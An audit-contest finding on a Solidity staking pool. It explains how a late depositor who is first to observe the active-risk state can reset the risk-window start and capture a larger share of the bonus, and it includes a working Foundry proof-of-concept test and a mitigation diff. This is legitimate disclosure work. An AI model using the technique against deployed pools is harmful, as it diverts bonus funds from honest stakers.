FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

First active-risk observer can choose `riskWindowStart` and influence bonus allocation

Author Revealed upon completion

Root + Impact

Description

The lazy risk-window seal lets a late depositor make its own entry block the effective start of risk for every existing stake, converting time-weighted bonus credit into same-time credit.

The k=2 bonus is intended to reward stake according to its exposure within the active-risk window. A stake entering later should therefore receive less bonus than capital already exposed to risk.

Instead, riskWindowStart records the first pool observation of UNDER_ATTACK or PROMOTION_REQUESTED, not the registry's transition time. stake() performs that observation before transferring the new deposit and then records the deposit at the same block.timestamp. When the pool has remained unobserved, a late depositor can therefore seal riskWindowStart at its own entry. _markRiskWindowStart() simultaneously resets all existing stake to that timestamp, so the late deposit receives the same per-token score as earlier capital.

The design treats observation timing as a contested public race because anyone can call pokeRiskWindow(). That reduces likelihood but does not protect a low-activity pool when the late depositor is the first successful observer.

src/ConfidencePool.sol
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (amount < minStake) revert BelowMinStake();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState()); // @> A deposit can perform the first observation.
// ... transfer omitted ...
uint256 newEntry = block.timestamp; // @> The depositor enters at the newly sealed start.
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
// ... accounting omitted ...
emit Staked(msg.sender, received);
}
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
// ... scope lock omitted ...
if (riskWindowStart == 0 && _isActiveRiskState(state)) {
_markRiskWindowStart(); // @> First permissionless observer permanently selects the bound.
}
if (riskWindowEnd == 0 && _isTerminalState(state)) {
_markRiskWindowEnd();
}
}
function _markRiskWindowStart() internal {
// Cap at expiry: accrual is bounded by the pool's lifecycle. Without the cap, a late
// ... comments omitted ...
uint256 t = block.timestamp; // @> Uses observation time, not active-risk transition time.
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
sumStakeTime = totalEligibleStake * t; // @> Existing stakes are moved to the observer's time.
sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}

Risk

Likelihood:

  • The registry reaches an active-risk state while no keeper or participant calls the pool, and a later depositor becomes the first successful observer.

  • The attack needs no privilege or unusual token behavior, but any prompt pokeRiskWindow() defeats the delayed seal.

Impact:

  • Bonus is reallocated from earlier stakers to the late observer. The PoC changes an 80/20 split into 50/50, granting the late depositor 30 additional bonus tokens.

  • Principal and the total bonus pool are unaffected, bounding loss to the bonus owed to other stakers.

Proof of Concept

Create test/audit/CP030FirstObserverBonusAllocation.t.sol with the following contents:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract CP030FirstObserverBonusAllocationTest is BaseConfidencePoolTest {
function test_LateDepositorCanChangeBonusSplitByBeingFirstRiskObserver() external {
ConfidencePool promptPool = pool;
ConfidencePool delayedPool = _deployPool();
uint256 t0 = vm.getBlockTimestamp();
_stakeInto(promptPool, alice, 100 * ONE);
_stakeInto(delayedPool, alice, 100 * ONE);
_contributeInto(promptPool, carol, 100 * ONE);
_contributeInto(delayedPool, carol, 100 * ONE);
// Both pools enter active risk at the same time. Only promptPool is observed.
vm.warp(t0 + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
promptPool.pokeRiskWindow();
assertEq(promptPool.riskWindowStart(), t0 + 1 days);
assertEq(delayedPool.riskWindowStart(), 0);
// Ten days later Bob deposits. His delayedPool stake is that pool's first observation,
// so its effective risk window begins at Bob's entry rather than at the registry change.
vm.warp(t0 + 11 days);
_stakeInto(promptPool, bob, 100 * ONE);
_stakeInto(delayedPool, bob, 100 * ONE);
assertEq(delayedPool.riskWindowStart(), t0 + 11 days);
// Resolve both pools at the same T.
vm.warp(t0 + 21 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
_flagSurvived(promptPool);
_flagSurvived(delayedPool);
uint256 promptAliceBonus = _claim(promptPool, alice) - 100 * ONE;
uint256 promptBobBonus = _claim(promptPool, bob) - 100 * ONE;
uint256 delayedAliceBonus = _claim(delayedPool, alice) - 100 * ONE;
uint256 delayedBobBonus = _claim(delayedPool, bob) - 100 * ONE;
// Prompt observation measures 20 days for Alice and 10 for Bob: k=2 yields 80/20.
assertEq(promptAliceBonus, 80 * ONE);
assertEq(promptBobBonus, 20 * ONE);
// Delayed observation floors Alice to Bob's entry: equal time and stake yield 50/50.
assertEq(delayedAliceBonus, 50 * ONE);
assertEq(delayedBobBonus, 50 * ONE);
assertEq(delayedBobBonus - promptBobBonus, 30 * ONE, "Bob captures 30 extra bonus tokens");
}
function _stakeInto(ConfidencePool target, address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(target), amount);
target.stake(amount);
vm.stopPrank();
}
function _contributeInto(ConfidencePool target, address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(target), amount);
target.contributeBonus(amount);
vm.stopPrank();
}
function _flagSurvived(ConfidencePool target) internal {
vm.prank(moderator);
target.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
}
function _claim(ConfidencePool target, address user) internal returns (uint256 payout) {
uint256 beforeBalance = token.balanceOf(user);
vm.prank(user);
target.claimSurvived();
payout = token.balanceOf(user) - beforeBalance;
}
}

Run the PoC from the repository root:

  1. Execute forge test --offline --match-path test/audit/CP030FirstObserverBonusAllocation.t.sol -vv.

  2. Confirm that test_LateDepositorCanChangeBonusSplitByBeingFirstRiskObserver() passes with zero failures.

Recommended Mitigation

Use an immutable, registry-supplied timestamp for the first active-risk transition. Observation time may still determine when the pool learns the state, but it must not determine stake weights.

src/ConfidencePool.sol
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
- state = _getAgreementState();
+ uint32 activeRiskAt;
+ (state, activeRiskAt) = _getAgreementStateWithActiveRiskTimestamp();
// ... scope lock omitted ...
if (riskWindowStart == 0 && _isActiveRiskState(state)) {
- _markRiskWindowStart();
+ _markRiskWindowStart(activeRiskAt);
}
if (riskWindowEnd == 0 && _isTerminalState(state)) {
_markRiskWindowEnd();
}
}
-function _markRiskWindowStart() internal {
+function _markRiskWindowStart(uint32 activeRiskAt) internal {
// Cap at expiry: accrual is bounded by the pool's lifecycle. Without the cap, a late
// ... comments omitted ...
- uint256 t = block.timestamp;
+ uint256 t = activeRiskAt;
+ if (t == 0 || t > block.timestamp) revert InvalidRiskTimestamp();
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}

The registry timestamp must identify the first entry into UNDER_ATTACK or PROMOTION_REQUESTED and remain immutable across later state changes. If the registry cannot expose this history, disallow staking in active-risk states so a late first observer cannot join the pre-seal cohort.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!